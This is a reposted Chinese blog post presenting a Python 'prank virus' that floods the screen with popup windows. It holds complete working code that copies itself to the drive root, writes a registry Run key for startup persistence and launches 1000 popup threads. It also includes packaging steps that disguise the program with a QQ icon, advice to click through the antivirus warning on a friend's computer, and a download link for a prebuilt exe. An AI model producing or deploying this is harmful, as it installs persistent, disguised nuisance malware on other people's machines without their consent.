码迷,mamicode.com
首页 > 编程语言 > 详细

Python无限弹窗,开机启动,打包为exe程序

时间:2020-04-07 20:58:59      阅读:436      评论:0      收藏:0      [点我收藏+]

标签:sts   运行   self   展示   shel   microsoft   val   path   程序   

Python无限弹窗,打包为exe程序开机自启动,娱乐小程序。

import tkinter as tk
import random,threading,win32api,win32con, shutil,os,sys

def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。
    if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘): #看当前分区下有没有
        shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘)  # 移动文件

class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》
    def __init__(self):
        name = ‘lalalulala‘  # 要添加的项值名称
        path = os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘  # 要添加的exe路径
        KeyName = ‘Software\\Microsoft\\Windows\\CurrentVersion\\Run‘
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,  KeyName, 0,  win32con.KEY_ALL_ACCESS)
        win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
        win32api.RegCloseKey(key)

def Play():    #展示的效果
    window = tk.Tk()
    width = window.winfo_screenwidth()
    height = window.winfo_screenheight()
    a = random.randrange(20, width)
    b = random.randrange(20, height)
    window.title(‘给你看个小病毒‘)
    window.geometry("400x100" + "+" + str(a) + "+" + str(b))
    tk.Label(window,
             text=‘你吃饭了吗?‘,  # 标签的文字
             bg=‘Red‘,  # 背景颜色
             font=(‘楷体‘, 17),  # 字体和字体大小
             width=466, height=4  # 标签长宽
             ).pack()  # 固定窗口位置
    window.mainloop()
threads = []

if __name__=="__main__":
    Mymovefile()
    AutoRun()
    for i in range(1000):     #依电脑性能调值大;千万不要 while True:
        t = threading.Thread(target=Play)
        t.start()

程序打包
1,Python 脚本打包成可以直接双击运行的 .exe 文件
win+R 输入powershell, 
pip3 install pyinstaller
pip install pypiwin32
pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon图标,-w,无控制台

本人编辑好的exe程序
https://raw.githubusercontent.com/xiaoxuenice/xiaoxue/master/Play.exe

可用图标转换器更换一下图标
技术图片

Python无限弹窗,开机启动,打包为exe程序

标签:sts   运行   self   展示   shel   microsoft   val   path   程序   

原文地址:https://blog.51cto.com/982439641/2485363

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!